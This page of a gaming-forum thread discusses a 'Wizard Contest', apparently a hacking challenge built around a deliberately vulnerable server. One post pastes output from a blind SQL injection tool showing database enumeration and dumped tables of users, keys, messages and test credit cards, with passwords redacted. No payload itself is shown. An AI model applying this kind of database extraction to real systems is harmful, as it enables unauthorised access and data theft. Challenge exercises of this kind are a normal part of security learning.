Wizard Contest Professional Edition

You are viewing our Forum Archives. To view or take place in current topics click here.

Page 9 of 20

8 9 10

#81. Posted: Mon May 08, 2017 6:40 pm

Dusknoir

Rated Awesome

Status: Offline

Joined: Nov 02, 201311Year Member

Posts: 3,935

Reputation Power: 5652

Motto: "If love is just a word then why does it hurt so much when you realize it isn't there" - Gaara

Status: Offline

Joined: Nov 02, 201311Year Member

Posts: 3,935

Reputation Power: 5652

Motto: "If love is just a word then why does it hurt so much when you realize it isn't there" - Gaara

Tom wrote Juat want to make sure. Can u complete this contest only using mobiles/tablets since i dont have a computer for the next week..

It's not possible.

0useful
0not useful

#82. Posted: Mon May 08, 2017 6:43 pm

speed

Winter 2017

Status: Offline

Joined: Jun 11, 200915Year Member

Posts: 9,897

Reputation Power: 3160

Motto: "I'l no I grew up to fast speed I no u will be little famous" - Famous_Energy

Status: Offline

Joined: Jun 11, 200915Year Member

Posts: 9,897

Reputation Power: 3160

Motto: "I'l no I grew up to fast speed I no u will be little famous" - Famous_Energy

Tom wrote Juat want to make sure. Can u complete this contest only using mobiles/tablets since i dont have a computer for the next week..

Technically yes, but it would be significantly more difficult.

1useful
0not useful

#83. Posted: Tue May 09, 2017 9:49 am

Mikey

Winter 2022

Status: Offline

Joined: Jun 22, 201113Year Member

Posts: 7,773

Reputation Power: 3100

Status: Offline

Joined: Jun 22, 201113Year Member

Posts: 7,773

Reputation Power: 3100

Last time I attempted a wizard contest I was bamboozled by Xander

1useful
0not useful

#84. Posted: Tue May 09, 2017 10:12 am

Meet

Summer 2019

Status: Offline

Joined: Apr 13, 201113Year Member

Posts: 5,963

Reputation Power: 504

Status: Offline

Joined: Apr 13, 201113Year Member

Posts: 5,963

Reputation Power: 504

Surprised this is still going, the main picture alone confused the hell out of me. Good luck to everyone who's actually doing it.

0useful
0not useful

#85. Posted: Tue May 09, 2017 10:15 am

Xas

Fairy Master

Status: Offline

Joined: Apr 15, 20177Year Member

Posts: 644

Reputation Power: 711

Status: Offline

Joined: Apr 15, 20177Year Member

Posts: 644

Reputation Power: 711

Get beaned, good luck to the winner, couldn't understand a sht in the image apart from the servers

0useful
0not useful

#86. Posted: Tue May 09, 2017 2:00 pm

CoNdEmR

Summer 2022

Status: Offline

Joined: Apr 29, 200915Year Member

Posts: 4,420

Reputation Power: 1211

Status: Offline

Joined: Apr 29, 200915Year Member

Posts: 4,420

Reputation Power: 1211

This has peaked my interest, I think I'll come out of my cave.

Just for this..




back-end DBMS operating system: Linux Ubuntu


back-end DBMS: MySQL >= 5.0.12


banner:    '5.7.18-0ubuntu0.16.04.1-log'


current user:    '33158de20f62@%'


current database:    'wizard'


hostname:    'WizardServer01'


current user is DBA:    False


[18:54:58] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)


[18:55:02] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)


database management system users [1]:


[*] '33158de20f62'@'%'





[18:56:16] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)


[18:56:19] [ERROR] unable to retrieve the password hashes for the database users (probably because the session user has no read privileges over the relevant system database table)


[18:56:19] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)


[18:56:23] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)


database management system users privileges:


[*] %33158de20f62% [1]:


    privilege: USAGE





database management system users roles:


[*] %33158de20f62% [1]:


    role: USAGE





[18:56:42] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)


[18:56:48] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)

But first, dinner!

Edit:

It's dumping time!




Database: wizard


Table: invoices


[1 entry]


+----+--------+---------+--------------+


| id | user   | product | amount_cents |


+----+--------+---------+--------------+


| 1  | 1      | test    | 2            |


+----+--------+---------+--------------+

THESE ARE NOT THE KEYS YOU ARE LOOKING FOR

or are they?




Database: wizard


Table: keys


[2 entries]


+-----------+


| key1      |


+-----------+


| 231436252 |


| 898665413 |


+-----------+

Jared is apparently a cookie monster.

I had to cut some stuff out of the messages dump as there was a script tag in it and the server complained of a malformed request

Understandable.




Table: messages


[1 entry]


+----+---------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------+


| id | user_id | message                                                                                                                                                         | subject     |


+----+---------+---------------------------------------------------+-------------+


| 1  | 1       | Hey Jared, Really loved your talk.\r\n\r\n | Hello There |


+----+---------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------+

In the spirit of helping others here ( as i don't need another badge ) I'm happy to help anyone along the way, here's the users table. I have however, redacted the username and password fields




                      +----+-----------------------------------------------------------------------------+---------+----------+----------------------+-----------+


| id | email                                                                       | surname | username | password             | firstname |


+----+-----------------------------------------------------------------------------+---------+----------+----------------------+-----------+


| 1  |  jared @ test.com                                                              | Mooring | REDACTED    | REDACTED  | Jared     |


| 2  |  allan @ test.com                                                              | Shone   | REDACTED    | REDACTED | Allan     |


| 3  |  system @ support.com                                                          | REDACTED | REDACTED | REDACTED     | User      |


| 4  | <a href="http://thetechgame.com/tortuga">http://thetechgame.com/tortuga</a> | turtle  | tortuga  | REDACTED     | kinky     |


+----+-----------------------------------------------------------------------------+---------+----------+----------------------+-----------+

Final dump for tonight, here's speeds credit cards




                      +----+-------------------------------------------------------+ 


| id | user_id | ccv | name          | card_number     | expire_year | expire_month


+----+-----------------------------------------------------------------------------+ 


| 1  | 1       | 123 | Jared Mooring | 456123412341234 | 2011     | 5


| 2  | 2       | 123 | Allan Shone   | 456123412341234 | 2011     | 5


+----+-----------------------------------------------------------------------------+

Edit:

I'll pick this up tomorrow, I'm off to bed

Last edited by CoNdEmR Tue May 09, 2017 5:18 pm; edited 3 times in total

7useful
0not useful

#87. Posted: Tue May 09, 2017 4:59 pm

Dusknoir

Winter 2023

Status: Offline

Joined: Nov 02, 201311Year Member

Posts: 3,935

Reputation Power: 5652

Motto: "If love is just a word then why does it hurt so much when you realize it isn't there" - Gaara

Status: Offline

Joined: Nov 02, 201311Year Member

Posts: 3,935

Reputation Power: 5652

Motto: "If love is just a word then why does it hurt so much when you realize it isn't there" - Gaara

How did u get the Username & pwd for the web server?

NotLikeThis FeelsBadMan

:>>)

0useful
0not useful

#88. Posted: Tue May 09, 2017 5:15 pm

speed

Winter 2018

Status: Offline

Joined: Jun 11, 200915Year Member

Posts: 9,897

Reputation Power: 3160

Motto: "I'l no I grew up to fast speed I no u will be little famous" - Famous_Energy

Status: Offline

Joined: Jun 11, 200915Year Member

Posts: 9,897

Reputation Power: 3160

Motto: "I'l no I grew up to fast speed I no u will be little famous" - Famous_Energy

CoNdEmR wrote In the spirit of helping others here ( as i don't need another badge ) I'm happy to help anyone along the way, here's the users table. I have however, redacted the username and password fields

+----+-----------------------------------------------------------------------------+---------+----------+----------------------+-----------+ | id | email | surname | username | password | firstname | +----+-----------------------------------------------------------------------------+---------+----------+----------------------+-----------+ | 1 | jared @ test.com | Mooring | REDACTED | REDACTED | Jared | | 2 | allan @ test.com | Shone | REDACTED | REDACTED | Allan | | 3 | system @ support.com | REDACTED | REDACTED | REDACTED | User | | 4 | <a href="http://thetechgame.com/tortuga">http://thetechgame.com/tortuga</a> | turtle | tortuga | REDACTED | kinky | +----+-----------------------------------------------------------------------------+---------+----------+----------------------+-----------+

Edit:

I'll pick this up tomorrow, I'm off to bed

Just to avoid any unnecessary confusion, this is the only table that matters.

1useful
0not useful

#89. Posted: Tue May 09, 2017 5:54 pm

Matthew-

Summer 2020

Status: Offline

Joined: Mar 26, 201113Year Member

Posts: 1,881

Reputation Power: 1065

Status: Offline

Joined: Mar 26, 201113Year Member

Posts: 1,881

Reputation Power: 1065

Gl all

0useful
0not useful

#90. Posted: Tue May 09, 2017 6:57 pm

Boss34

TTG Destroyer

Status: Offline

Joined: Oct 12, 201410Year Member

Posts: 7,067

Reputation Power: 687

Status: Offline

Joined: Oct 12, 201410Year Member

Posts: 7,067

Reputation Power: 687

There is not even any point on attempting to do this lol.

1useful
1not useful

Page 9 of 20

8 9 10

You are viewing our Forum Archives. To view or take place in current topics click here.

Posts

30,635,199

Members

2,931,691

New Today

166

Topics

5,883,653